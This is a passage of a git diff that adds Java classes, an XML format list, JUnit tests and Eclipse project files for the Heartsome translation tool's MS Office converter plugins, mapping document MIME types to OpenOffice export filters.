(DocumentFormat) it.next(); + if (format.getMimeType().equals(mimeType)) { + return format; + } + } + return null; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DefaultDocumentFormatRegistry.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DefaultDocumentFormatRegistry.java new file mode 100644 index 0000000..7a4ac80 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DefaultDocumentFormatRegistry.java @@ -0,0 +1,141 @@ +/** + * DefaultDocumentFormatRegistry.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter.impl; + +/** + * The Class DefaultDocumentFormatRegistry. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class DefaultDocumentFormatRegistry extends BasicDocumentFormatRegistry { + + /** + * Instantiates a new default document format registry. + */ + public DefaultDocumentFormatRegistry() { + final DocumentFormat pdf = new DocumentFormat("Portable Document Format", "application/pdf", "pdf"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + pdf.setExportFilter(DocumentFamily.DRAWING, "draw_pdf_Export"); //$NON-NLS-1$ + pdf.setExportFilter(DocumentFamily.PRESENTATION, "impress_pdf_Export"); //$NON-NLS-1$ + pdf.setExportFilter(DocumentFamily.SPREADSHEET, "calc_pdf_Export"); //$NON-NLS-1$ + pdf.setExportFilter(DocumentFamily.TEXT, "writer_pdf_Export"); //$NON-NLS-1$ + addDocumentFormat(pdf); + + final DocumentFormat swf = new DocumentFormat("Macromedia Flash", "application/x-shockwave-flash", "swf"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + swf.setExportFilter(DocumentFamily.DRAWING, "draw_flash_Export"); //$NON-NLS-1$ + swf.setExportFilter(DocumentFamily.PRESENTATION, "impress_flash_Export"); //$NON-NLS-1$ + addDocumentFormat(swf); + + final DocumentFormat xhtml = new DocumentFormat("XHTML", "application/xhtml+xml", "xhtml"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + xhtml.setExportFilter(DocumentFamily.PRESENTATION, "XHTML Impress File"); //$NON-NLS-1$ + xhtml.setExportFilter(DocumentFamily.SPREADSHEET, "XHTML Calc File"); //$NON-NLS-1$ + xhtml.setExportFilter(DocumentFamily.TEXT, "XHTML Writer File"); //$NON-NLS-1$ + addDocumentFormat(xhtml); + + // HTML is treated as Text when supplied as input, but as an output it + // is also + // available for exporting Spreadsheet and Presentation formats + final DocumentFormat html = new DocumentFormat("HTML", DocumentFamily.TEXT, "text/html", "html"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + html.setExportFilter(DocumentFamily.PRESENTATION, "impress_html_Export"); //$NON-NLS-1$ + html.setExportFilter(DocumentFamily.SPREADSHEET, "HTML (StarCalc)"); //$NON-NLS-1$ + html.setExportFilter(DocumentFamily.TEXT, "HTML (StarWriter)"); //$NON-NLS-1$ + addDocumentFormat(html); + + final DocumentFormat odt = new DocumentFormat( + "OpenDocument Text", DocumentFamily.TEXT, "application/vnd.oasis.opendocument.text", "odt"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + odt.setExportFilter(DocumentFamily.TEXT, "writer8"); //$NON-NLS-1$ + addDocumentFormat(odt); + + final DocumentFormat sxw = new DocumentFormat( + "OpenOffice.org 1.0 Text Document", DocumentFamily.TEXT, "application/vnd.sun.xml.writer", "sxw"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + sxw.setExportFilter(DocumentFamily.TEXT, "StarOffice XML (Writer)"); //$NON-NLS-1$ + addDocumentFormat(sxw); + + final DocumentFormat doc = new DocumentFormat( + "Microsoft Word", DocumentFamily.TEXT, "application/msword", "doc"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + doc.setExportFilter(DocumentFamily.TEXT, "MS Word 97"); //$NON-NLS-1$ + addDocumentFormat(doc); + + final DocumentFormat rtf = new DocumentFormat("Rich Text Format", DocumentFamily.TEXT, "text/rtf", "rtf"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + rtf.setExportFilter(DocumentFamily.TEXT, "Rich Text Format"); //$NON-NLS-1$ + addDocumentFormat(rtf); + + final DocumentFormat wpd = new DocumentFormat( + "WordPerfect", DocumentFamily.TEXT, "application/wordperfect", "wpd"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + addDocumentFormat(wpd); + + final DocumentFormat txt = new DocumentFormat("Plain Text", DocumentFamily.TEXT, "text/plain", "txt"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + // set FilterName to "Text" to prevent OOo from tryign to display the + // "ASCII Filter Options" dialog + // alternatively FilterName could be "Text (encoded)" and FilterOptions + // used to set encoding if needed + txt.setImportOption("FilterName", "Text"); //$NON-NLS-1$ //$NON-NLS-2$ + txt.setExportFilter(DocumentFamily.TEXT, "Text"); //$NON-NLS-1$ + addDocumentFormat(txt); + + final DocumentFormat wikitext = new DocumentFormat("MediaWiki wikitext", "text/x-wiki", "wiki"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + wikitext.setExportFilter(DocumentFamily.TEXT, "MediaWiki"); //$NON-NLS-1$ + addDocumentFormat(wikitext); + + final DocumentFormat ods = new DocumentFormat( + "OpenDocument Spreadsheet", DocumentFamily.SPREADSHEET, "application/vnd.oasis.opendocument.spreadsheet", "ods"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + ods.setExportFilter(DocumentFamily.SPREADSHEET, "calc8"); //$NON-NLS-1$ + addDocumentFormat(ods); + + final DocumentFormat sxc = new DocumentFormat( + "OpenOffice.org 1.0 Spreadsheet", DocumentFamily.SPREADSHEET, "application/vnd.sun.xml.calc", "sxc"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + sxc.setExportFilter(DocumentFamily.SPREADSHEET, "StarOffice XML (Calc)"); //$NON-NLS-1$ + addDocumentFormat(sxc); + + final DocumentFormat xls = new DocumentFormat( + "Microsoft Excel", DocumentFamily.SPREADSHEET, "application/vnd.ms-excel", "xls"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + xls.setExportFilter(DocumentFamily.SPREADSHEET, "MS Excel 97"); //$NON-NLS-1$ + addDocumentFormat(xls); + + final DocumentFormat csv = new DocumentFormat("CSV", DocumentFamily.SPREADSHEET, "text/csv", "csv"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + csv.setImportOption("FilterName", "Text - txt - csv (StarCalc)"); //$NON-NLS-1$ //$NON-NLS-2$ + csv.setImportOption("FilterOptions", "44,34,0"); // Field Separator: ','; Text Delimiter: '"' //$NON-NLS-1$ //$NON-NLS-2$ + csv.setExportFilter(DocumentFamily.SPREADSHEET, "Text - txt - csv (StarCalc)"); //$NON-NLS-1$ + csv.setExportOption(DocumentFamily.SPREADSHEET, "FilterOptions", "44,34,0"); //$NON-NLS-1$ //$NON-NLS-2$ + addDocumentFormat(csv); + + final DocumentFormat tsv = new DocumentFormat( + "Tab-separated Values", DocumentFamily.SPREADSHEET, "text/tab-separated-values", "tsv"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + tsv.setImportOption("FilterName", "Text - txt - csv (StarCalc)"); //$NON-NLS-1$ //$NON-NLS-2$ + tsv.setImportOption("FilterOptions", "9,34,0"); // Field Separator: '\t'; Text Delimiter: '"' //$NON-NLS-1$ //$NON-NLS-2$ + tsv.setExportFilter(DocumentFamily.SPREADSHEET, "Text - txt - csv (StarCalc)"); //$NON-NLS-1$ + tsv.setExportOption(DocumentFamily.SPREADSHEET, "FilterOptions", "9,34,0"); //$NON-NLS-1$ //$NON-NLS-2$ + addDocumentFormat(tsv); + + final DocumentFormat odp = new DocumentFormat( + "OpenDocument Presentation", DocumentFamily.PRESENTATION, "application/vnd.oasis.opendocument.presentation", "odp"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + odp.setExportFilter(DocumentFamily.PRESENTATION, "impress8"); //$NON-NLS-1$ + addDocumentFormat(odp); + + final DocumentFormat sxi = new DocumentFormat( + "OpenOffice.org 1.0 Presentation", DocumentFamily.PRESENTATION, "application/vnd.sun.xml.impress", "sxi"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + sxi.setExportFilter(DocumentFamily.PRESENTATION, "StarOffice XML (Impress)"); //$NON-NLS-1$ + addDocumentFormat(sxi); + + final DocumentFormat ppt = new DocumentFormat( + "Microsoft PowerPoint", DocumentFamily.PRESENTATION, "application/vnd.ms-powerpoint", "ppt"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + ppt.setExportFilter(DocumentFamily.PRESENTATION, "MS PowerPoint 97"); //$NON-NLS-1$ + addDocumentFormat(ppt); + + final DocumentFormat odg = new DocumentFormat( + "OpenDocument Drawing", DocumentFamily.DRAWING, "application/vnd.oasis.opendocument.graphics", "odg"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + odg.setExportFilter(DocumentFamily.DRAWING, "draw8"); //$NON-NLS-1$ + addDocumentFormat(odg); + + final DocumentFormat svg = new DocumentFormat("Scalable Vector Graphics", "image/svg+xml", "svg"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + svg.setExportFilter(DocumentFamily.DRAWING, "draw_svg_Export"); //$NON-NLS-1$ + addDocumentFormat(svg); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DocumentFamily.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DocumentFamily.java new file mode 100644 index 0000000..80208df --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DocumentFamily.java @@ -0,0 +1,80 @@ +/** + * DocumentFamily.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter.impl; + +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.msoffice2003.resource.Messages; + +/** + * The Class DocumentFamily. + * @author John Zhu + * @version + * @since JDK1.6 + */ +@SuppressWarnings("unchecked") +public final class DocumentFamily { + + /** The Constant TEXT. */ + public static final DocumentFamily TEXT = new DocumentFamily("Text"); //$NON-NLS-1$ + + /** The Constant SPREADSHEET. */ + public static final DocumentFamily SPREADSHEET = new DocumentFamily("Spreadsheet"); //$NON-NLS-1$ + + /** The Constant PRESENTATION. */ + public static final DocumentFamily PRESENTATION = new DocumentFamily("Presentation"); //$NON-NLS-1$ + + /** The Constant DRAWING. */ + public static final DocumentFamily DRAWING = new DocumentFamily("Drawing"); //$NON-NLS-1$ + + /** The FAMILIES. */ + private static Map mapFamilies = new HashMap(); + static { + mapFamilies.put(TEXT.name, TEXT); + mapFamilies.put(SPREADSHEET.name, SPREADSHEET); + mapFamilies.put(PRESENTATION.name, PRESENTATION); + mapFamilies.put(DRAWING.name, DRAWING); + } + + /** The name. */ + private String name; + + /** + * Instantiates a new document family. + * @param name + * the name + */ + private DocumentFamily(String name) { + this.name = name; + } + + /** + * Gets the name. + * @return the name + */ + public String getName() { + return name; + } + + /** + * Gets the family. + * @param name + * the name + * @return the family + */ + public static DocumentFamily getFamily(String name) { + DocumentFamily family = (DocumentFamily) mapFamilies.get(name); + if (family == null) { + throw new IllegalArgumentException(Messages.getString("impl.DocumentFamily.0") + name); //$NON-NLS-1$ + } + return family; + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DocumentFormat.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DocumentFormat.java new file mode 100644 index 0000000..e22b5b8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/DocumentFormat.java @@ -0,0 +1,228 @@ +/** + * DocumentFormat.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ooconverter.impl; + +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; + +/** + * Represents a document format ("OpenDocument Text" or "PDF"). Also contains its available export filters. + */ +public class DocumentFormat { + + /** The Constant FILTER_NAME. */ + private static final String FILTER_NAME = "FilterName"; //$NON-NLS-1$ + + /** The name. */ + private String name; + + /** The family. */ + private DocumentFamily family; + + /** The mime type. */ + private String mimeType; + + /** The file extension. */ + private String fileExtension; + + /** The export options. */ + @SuppressWarnings("unchecked") + private Map exportOptions = new HashMap(); + + /** The import options. */ + @SuppressWarnings("unchecked") + private Map importOptions = new HashMap(); + + /** + * Instantiates a new document format. + */ + public DocumentFormat() { + // empty constructor needed for XStream deserialization + } + + /** + * Instantiates a new document format. + * @param name + * the name + * @param mimeType + * the mime type + * @param extension + * the extension + */ + public DocumentFormat(String name, String mimeType, String extension) { + this.name = name; + this.mimeType = mimeType; + this.fileExtension = extension; + } + + /** + * Instantiates a new document format. + * @param name + * the name + * @param family + * the family + * @param mimeType + * the mime type + * @param extension + * the extension + */ + public DocumentFormat(String name, DocumentFamily family, String mimeType, String extension) { + this.name = name; + this.family = family; + this.mimeType = mimeType; + this.fileExtension = extension; + } + + /** + * Gets the name. + * @return the name + */ + public String getName() { + return name; + } + + /** + * Gets the family. + * @return the family + */ + public DocumentFamily getFamily() { + return family; + } + + /** + * Gets the mime type. + * @return the mime type + */ + public String getMimeType() { + return mimeType; + } + + /** + * Gets the file extension. + * @return the file extension + */ + public String getFileExtension() { + return fileExtension; + } + + /** + * Gets the export filter. + * @param family + * the family + * @return the export filter + */ + private String getExportFilter(DocumentFamily family) { + return (String) getExportOptions(family).get(FILTER_NAME); + } + + /** + * Checks if is importable. + * @return true, if is importable + */ + public boolean isImportable() { + return family != null; + } + + /** + * Checks if is export only. + * @return true, if is export only + */ + public boolean isExportOnly() { + return !isImportable(); + } + + /** + * Checks if is exportable to. + * @param otherFormat + * the other format + * @return true, if is exportable to + */ + public boolean isExportableTo(DocumentFormat otherFormat) { + return otherFormat.isExportableFrom(this.family); + } + + /** + * Checks if is exportable from. + * @param family + * the family + * @return true, if is exportable from + */ + public boolean isExportableFrom(DocumentFamily family) { + return getExportFilter(family) != null; + } + + /** + * Sets the export filter. + * @param family + * the family + * @param filter + * the filter + */ + public void setExportFilter(DocumentFamily family, String filter) { + getExportOptions(family).put(FILTER_NAME, filter); + } + + /** + * Sets the export option. + * @param family + * the family + * @param name + * the name + * @param value + * the value + */ + public void setExportOption(DocumentFamily family, String name, Object value) { + Map options = (Map) exportOptions.get(family); + if (options == null) { + options = new HashMap(); + exportOptions.put(family, options); + } + options.put(name, value); + } + + /** + * Gets the export options. + * @param family + * the family + * @return the export options + */ + public Map getExportOptions(DocumentFamily family) { + Map options = (Map) exportOptions.get(family); + if (options == null) { + options = new HashMap(); + exportOptions.put(family, options); + } + return options; + } + + /** + * Sets the import option. + * @param name + * the name + * @param value + * the value + */ + public void setImportOption(String name, Object value) { + importOptions.put(name, value); + } + + /** + * Gets the import options. + * @return the import options + */ + public Map getImportOptions() { + if (importOptions != null) { + return importOptions; + } else { + return Collections.EMPTY_MAP; + } + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/document-formats.xml b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/document-formats.xml new file mode 100644 index 0000000..dd793b2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/src/net/heartsome/cat/converter/ooconverter/impl/document-formats.xml @@ -0,0 +1,469 @@ + + + + Portable Document Format + application/pdf + pdf + + + Presentation + + + FilterName + impress_pdf_Export + + + + + Drawing + + + FilterName + draw_pdf_Export + + + + + Spreadsheet + + + FilterName + calc_pdf_Export + + + + + Text + + + FilterName + writer_pdf_Export + + + + + + + + Macromedia Flash + application/x-shockwave-flash + swf + + + Presentation + + + FilterName + impress_flash_Export + + + + + Drawing + + + FilterName + draw_flash_Export + + + + + + + + XHTML + application/xhtml+xml + xhtml + + + Presentation + + + FilterName + XHTML Impress File + + + + + Spreadsheet + + + FilterName + XHTML Calc File + + + + + Text + + + FilterName + XHTML Writer File + + + + + + + + HTML + Text + text/html + html + + + Presentation + + + FilterName + impress_html_Export + + + + + Spreadsheet + + + FilterName + HTML (StarCalc) + + + + + Text + + + FilterName + HTML (StarWriter) + + + + + + + + OpenDocument Text + Text + application/vnd.oasis.opendocument.text + odt + + + Text + + + FilterName + writer8 + + + + + + + + OpenOffice.org 1.0 Text Document + Text + application/vnd.sun.xml.writer + sxw + + + Text + + + FilterName + StarOffice XML (Writer) + + + + + + + + Microsoft Word + Text + application/msword + doc + + + Text + + + FilterName + MS Word 97 + + + + + + + + Rich Text Format + Text + text/rtf + rtf + + + Text + + + FilterName + Rich Text Format + + + + + + + + WordPerfect + Text + application/wordperfect + wpd + + + + + Plain Text + Text + text/plain + txt + + + Text + + + FilterName + Text + + + + + + + FilterName + Text + + + + + MediaWiki wikitext + text/x-wiki + wiki + + + Text + + + FilterName + MediaWiki + + + + + + + + OpenDocument Spreadsheet + Spreadsheet + application/vnd.oasis.opendocument.spreadsheet + ods + + + Spreadsheet + + + FilterName + calc8 + + + + + + + + OpenOffice.org 1.0 Spreadsheet + Spreadsheet + application/vnd.sun.xml.calc + sxc + + + Spreadsheet + + + FilterName + StarOffice XML (Calc) + + + + + + + + Microsoft Excel + Spreadsheet + application/vnd.ms-excel + xls + + + Spreadsheet + + + FilterName + MS Excel 97 + + + + + + + + CSV + Spreadsheet + text/csv + csv + + + Spreadsheet + + + FilterOptions + 44,34,0 + + + FilterName + Text - txt - csv (StarCalc) + + + + + + + FilterOptions + 44,34,0 + + + FilterName + Text - txt - csv (StarCalc) + + + + + Tab-separated Values + Spreadsheet + text/tab-separated-values + tsv + + + Spreadsheet + + + FilterOptions + 9,34,0 + + + FilterName + Text - txt - csv (StarCalc) + + + + + + + FilterOptions + 9,34,0 + + + FilterName + Text - txt - csv (StarCalc) + + + + + OpenDocument Presentation + Presentation + application/vnd.oasis.opendocument.presentation + odp + + + Presentation + + + FilterName + impress8 + + + + + + + + OpenOffice.org 1.0 Presentation + Presentation + application/vnd.sun.xml.impress + sxi + + + Presentation + + + FilterName + StarOffice XML (Impress) + + + + + + + + Microsoft PowerPoint + Presentation + application/vnd.ms-powerpoint + ppt + + + Presentation + + + FilterName + MS PowerPoint 97 + + + + + + + + OpenDocument Drawing + Drawing + application/vnd.oasis.opendocument.graphics + odg + + + Drawing + + + FilterName + draw8 + + + + + + + + Scalable Vector Graphics + image/svg+xml + svg + + + Drawing + + + FilterName + draw_svg_Export + + + + + + + \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/testSrc/net/heartsome/cat/converter/msoffice2003/test/MSOffice2XliffTest.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/testSrc/net/heartsome/cat/converter/msoffice2003/test/MSOffice2XliffTest.java new file mode 100644 index 0000000..79ebe7b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/testSrc/net/heartsome/cat/converter/msoffice2003/test/MSOffice2XliffTest.java @@ -0,0 +1,129 @@ +package net.heartsome.cat.converter.msoffice2003.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.msoffice2003.MSOffice2Xliff; + +import org.junit.BeforeClass; +import org.junit.Test; + +public class MSOffice2XliffTest { + public static MSOffice2Xliff converter = new MSOffice2Xliff(); + private static String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + private static String srcDocFile = "rc/Test.doc"; + private static String xlfDocFile = "rc/Test.doc.xlf"; + private static String sklDocFile = "rc/Test.doc.skl"; + + private static String srcXlsFile = "rc/Test.xls"; + private static String xlfXlsFile = "rc/Test.xls.xlf"; + private static String sklXlsFile = "rc/Test.xls.skl"; + + private static String srcPptFile = "rc/Test.ppt"; + private static String xlfPptFile = "rc/Test.ppt.xlf"; + private static String sklPptFile = "rc/Test.ppt.skl"; + + @BeforeClass + public static void setUp() { + File xlf = new File(xlfDocFile); + if (xlf.exists()) { + xlf.delete(); + } + + File skl = new File(sklDocFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfXlsFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklXlsFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfPptFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklPptFile); + if (skl.exists()) { + skl.delete(); + } + } + + @Test + public void testConvertXls() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcXlsFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfXlsFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklXlsFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvertDoc() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvertPpt() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcPptFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfPptFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklPptFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2003/testSrc/net/heartsome/cat/converter/msoffice2003/test/Xliff2MSOfficeTest.java b/hsconverter/net.heartsome.cat.converter.msoffice2003/testSrc/net/heartsome/cat/converter/msoffice2003/test/Xliff2MSOfficeTest.java new file mode 100644 index 0000000..9cad111 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2003/testSrc/net/heartsome/cat/converter/msoffice2003/test/Xliff2MSOfficeTest.java @@ -0,0 +1,114 @@ +package net.heartsome.cat.converter.msoffice2003.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.msoffice2003.Xliff2MSOffice; + +import org.junit.BeforeClass; +import org.junit.Test; + +public class Xliff2MSOfficeTest { + public static Xliff2MSOffice converter = new Xliff2MSOffice(); + private static String rootFolder = "C:\\Documents and Settings\\John\\workspace\\HSTS7\\"; + private static String tgtDocFile = "rc/Test_en-US.doc"; + private static String xlfDocFile = "rc/Test.doc.xlf"; + private static String sklDocFile = "rc/Test.doc.skl"; + + private static String tgtXlsFile = "rc/Test_en-US.xls"; + private static String xlfXlsFile = "rc/Test.xls.xlf"; + private static String sklXlsFile = "rc/Test.xls.skl"; + + private static String tgtPptFile = "rc/Test_en-US.ppt"; + private static String xlfPptFile = "rc/Test.ppt.xlf"; + private static String sklPptFile = "rc/Test.ppt.skl"; + + @BeforeClass + public static void setUp() { + File tgt = new File(tgtDocFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtXlsFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtPptFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvertXls() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtXlsFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfXlsFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklXlsFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + Map result = converter.convert(args, null); + String tgt = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(tgt); + + File tgtFile = new File(tgt); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertDoc() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklDocFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String tgt = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(tgt); + + File tgtFile = new File(tgt); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertPpt() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtPptFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfPptFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklPptFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String tgt = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(tgt); + + File tgtFile = new File(tgt); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/.classpath b/hsconverter/net.heartsome.cat.converter.msoffice2007/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/.project b/hsconverter/net.heartsome.cat.converter.msoffice2007/.project new file mode 100644 index 0000000..13ec76a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.msoffice2007 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.msoffice2007/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..9237d9c --- /dev/null +++ 